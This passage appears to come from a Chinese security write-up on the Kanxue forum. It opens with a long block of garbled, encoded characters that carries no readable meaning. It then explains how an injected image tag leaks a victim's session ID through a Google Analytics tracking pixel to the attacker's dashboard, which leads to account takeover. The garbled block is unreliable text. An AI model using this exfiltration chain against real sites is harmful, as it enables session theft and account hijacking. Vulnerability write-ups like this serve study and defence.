3U0l9%4d9f1N6K9L8r3c8s2e0X3!0w2b7@1W2$3g2e0u0h3K9r3y4E0e0X3!0x3x3p5&6&6j5g2S2d9L8r3y4E0L8r3S2u0K9h3E0#2k6p5N6Z5L8r3u0A6K9s2W2K9h3p5&6%4j5U0t1#2P5W2A6e0b7e0W2b7K9f1u0&6h3W2S2z5N6$3t1J5y4i4A6K9f1K6f1H3h3W2S2Z5x3p5E0o6K9%4m8x3L8W2u0G2h3W2M7@1L8#2A6s2c8U0m8k6f1@1p5&6f1r3W2n7L8W2W2i4L8s2c8k6g2$3c8D9e0r3&6z5P5g2W2*7x3r3W2S2d9q4t1H3j5@1S2y4y4V1I4&6z5i4A6U0x3Y4N6#2h3U0t1&6N6W2Z5J5P5r3I4x3g2@1k6#2h3g2N6^5y4h3c8s2L8r3A6U0P5e0g2B7j5U0t1H3N6W2V1J5z5i4y4T1c8#2k6B7k6p5b7&6x3W2m8f1c8h3#2V1c8$3I4C8f1q4k6h3b7V1I4f1c8e0g2y4c8p5f1@1e0i4A6m8P5p5&6e0x3s2S2v1L8f1&6H3h3V1b7H3K9f1D9H3x3h3S2V1c8$3N6#2h3X3#2^5N6X3t1K6d9h3!0f1g2@1j5H3j5f1x3#2P5g2W2i4y4h3E0T1x3U0m8G2d9#2y4m8M7f1W2p5k6K6g2a6g2r3D9#2e0#2c8C8y4f1!0f1K9$3N6w2P5f1q4^5e0f1c8m8N6@1#2p5b7i4N6y4c8p5q4%4d9#2y4K6K9f1A6F1f1e0W2K9h3q4A6D9j5X3&6c8L8g2A6i4e0e0W2K9g2K6q4Z5j5g2N6%4L8g2A6i4c8e0W2u0K9i4c8D9j5X3#2z5N6W2A6s2g2W2k6g2K9$3I4p5j5U0t1I4N6$3t1J5y4h3I4T1L8W2q4G2h3V1N6r3x3q4W2e0y4i4c8k6h3q4u0B7j5f1y4Z5P5g2A6i4k6r3I4W2b7$3E0H3d9#2c8K6k6#2A6s2z5h3A6V1g2K6q4D9j5X3&6c8N6h3q4s2g2X3S2K9b7K6g2Z5j5@1S2n7L8r3u0E0f1V1c8S2c8$3I4K6h3V1y4Z5L8W2W2i4L8s2c8k6g2$3c8D9d9#2c8K6i4K6t1#2x3@1c8Q4x3U0f1J5x3W2)9J5z5g2)9J5z5g2)9J5z5g2)9J5y4e0y4q4i4K6t1$3j5h3#2H3i4K6y4n7f1$3S2G2N6#2N6S2M7X3&6A6L8X3N6u0j5$3!0F1i4K6y4p5c8X3q4D9M7$3g2Q4x3U0k6S2L8i4m8Q4x3@1u0f1K9i4c8D9k6g2)9K6c8p5y4#2L8s2c8#2M7X3g2Q4x3V1u0U0K9r3q4F1k6$3g2Q4x3V1u0V1k6i4c8W2j5%4c8W2k6q4)9J5y4X3q4E0M7q4)9K6b7V1y4#2L8s2c8#2M7X3g2u0L8X3k6G2i4K6y4p5j5X3g2Q4x3X3c8q4e0W2)9J5y4X3q4E0M7q4)9K6b7W2m8J5K9h3&6@1i4K6y4p5c8X3q4D9M7$3f1`.

受害者的视角

从受害者浏览器的角度来看,<img>标签会被插入到DOM中,如下所示。

wKg0C2JSyZGAH4oPAAB85CDGqME72.jpeg

在浏览器中执行的HTML注入不会触发客户端报错。随着会话ID被添加到一个跟踪像素上,payload就已经准备好通过Google Analytics来发送给攻击者了。

攻击者的视角

在攻击者的Google Analytics面板中,我们可以看到受害者会话ID被作为“活跃用户”发送到我们的应用程序上:)

wKg0C2JSyZqAJUQBAABVgngVfcc526.png

将这些漏洞串联起来,通过向受害者发送一个链接从而最终实现了账户接管。

补充说明: 使用带有跟踪保护功能广告拦截器的用户不易受到此类攻击,因为对Google Analytics 的请求通常会被这些扩展程序阻拦。



声明:该文观点仅代表作者本人,转载请注明来自看雪